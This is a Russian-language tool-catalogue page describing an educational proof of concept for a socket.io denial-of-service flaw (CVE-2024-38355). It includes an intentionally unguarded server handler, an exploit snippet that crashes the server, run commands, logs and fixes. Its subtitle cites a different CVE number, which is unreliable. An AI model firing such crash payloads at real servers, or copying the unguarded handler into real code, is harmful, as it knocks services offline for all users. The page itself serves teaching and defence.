Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-38355-PoC — Доказательство концепции CVE-2024-47554 | Kitploit
Инструменты/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Доказательство концепции CVE-2024-47554

Репозиторий
18 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Демонстрация CVE-2024-38355 (Крах Socket.IO)

Этот проект является доказательством концепции, демонстрирующим CVE-2024-38355 — уязвимость типа «отказ в обслуживании» в socket.io. Проект создан в образовательных целях, чтобы показать механизм атаки и способы защиты приложений.

Об уязвимости (CVE-2024-38355)

Эта уязвимость затрагивает следующие версии socket.io:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Специально сформированный пакет Socket.IO может вызвать неперехваченное исключение на сервере, что приводит к краху процесса Node.js. Результатом является атака типа «Отказ в обслуживании» (Denial of Service, DoS).

Как это работает:

  1. Клиент нормально подключается к серверу Socket.IO.
  2. Клиент отправляет вредоносное событие/пакет, которое вызывает ошибку на сервере.
  3. Если код сервера генерирует исключение (например, при обработке недоверенного ввода) и на сокете отсутствует обработчик ошибок, неперехваченное исключение приводит к краху всего процесса Node.js.
  4. Сервер становится недоступным для всех пользователей.

Ключевые факторы:

  • Отсутствие обработчика события error на сокете
  • Серверный код, который может генерировать исключения при обработке данных клиента
  • Отсутствие глобального обработчика неперехваченных исключений
  • Структура проекта

    Проект состоит из двух Docker-контейнеров:

    1. vulnerable-server: Сервер Node.js, использующий уязвимую версию [email protected]. Он содержит обработчик событий, который может генерировать неперехваченное исключение при получении вредоносных данных.
    2. exploit-client: Скрипт Node.js, который подключается к серверу, сначала тестирует нормальную работу, а затем отправляет полезную нагрузку, вызывающую крах сервера.

    Требования

    • Docker
    • Docker Compose

    Или альтернативно:

    • Node.js 18+
    • npm

    Как запустить

    Вариант 1: Использование Docker Compose (рекомендуется)

    Откройте терминал в корневой директории проекта и выполните:

    root@kitploit:~
    docker-compose down
    docker-compose build --no-cache
    docker-compose up
    

    Это позволит:

    1. Собрать образы для сервера и клиента.
    2. Запустить сервер на порту 3000.
    3. Запустить клиент эксплойта, который автоматически атакует и вызовет крах сервера.

    Вариант 2: Локальный запуск (без Docker)

    Терминал 1 - Запуск сервера:

    root@kitploit:~
    cd server
    npm install
    npm start
    

    Терминал 2 - Запуск эксплойта:

    root@kitploit:~
    cd exploit
    npm install
    npm start
    

    Ожидаемый вывод

    Логи сервера:

    root@kitploit:~
    [SERVER] Running on port 3000. Waiting for connections...
    [SERVER] Client connected: <socket-id>
    [SERVER] Processing data: {"message":"Hello, normal request"}
    [SERVER] Client disconnected: <socket-id>
    [SERVER] Client connected: <socket-id>
    [SERVER] Processing data: {"trigger":"crash"}
    /app/index.js:24
                throw new Error('Uncaught exception triggered by malicious packet');
    

    Логи эксплойта:

    root@kitploit:~
    [EXPLOIT] CVE-2024-38355 Proof of Concept
    [EXPLOIT] Targeting http://vulnerable-server:3000...
    
    [STEP 1] Testing normal connection...
    [STEP 1] Connected successfully.
    [STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
    
    [STEP 2] Sending malicious payload to trigger CVE-2024-38355...
    [STEP 2] Connected. Sending crash trigger...
    [STEP 2] Payload sent! Waiting for server to crash...
    [STEP 2] Disconnected (server may have crashed).
    
    [STEP 3] Checking if server is still alive...
    [RESULT] SUCCESS! Server is unreachable: xhr poll error
    

    Остановка

    Нажмите Ctrl+C или выполните:

    root@kitploit:~
    docker-compose down
    

    Анализ кода

    Уязвимый сервер (server/index.js)

    root@kitploit:~
    socket.on('process_data', (data) => {
        // VULNERABLE: No try-catch, no error handler on socket
        if (data && data.trigger === 'crash') {
            throw new Error('Uncaught exception');  // Crashes the process!
        }
    });
    

    Эксплойт (exploit/exploit.js)

    root@kitploit:~
    // Send malicious payload that triggers the crash
    socket.emit('process_data', { trigger: 'crash' });
    

    Как исправить?

    Чтобы защитить ваше приложение от этой уязвимости:

    1. Обновите socket.io до версии 4.6.2 или новее (исправление добавляет обработчик ошибок по умолчанию).

    2. Всегда прикрепляйте обработчики ошибок к сокетам:

      root@kitploit:~
      socket.on('error', (err) => {
          console.error('Socket error:', err);
          // Handle gracefully, don't let it crash the server
      });
      
    3. Оборачивайте обработчики событий в try-catch:

      root@kitploit:~
      socket.on('process_data', (data) => {
          try {
              // Process data safely
          } catch (err) {
              console.error('Error processing data:', err);
              socket.emit('error_response', { message: 'Invalid data' });
          }
      });
      
    4. Добавьте глобальный обработчик неперехваченных исключений (как крайнюю меру):

      root@kitploit:~
      process.on('uncaughtException', (err) => {
          console.error('Uncaught Exception:', err);
          // Log and gracefully shutdown
      });
      

    Ссылки

    • CVE-2024-38355 на NVD
    • Консультация по безопасности GitHub GHSA-25hc-qcg6-38wj
    • Коммит исправления

    Проект создан в образовательных целях.

    Скачать инструмент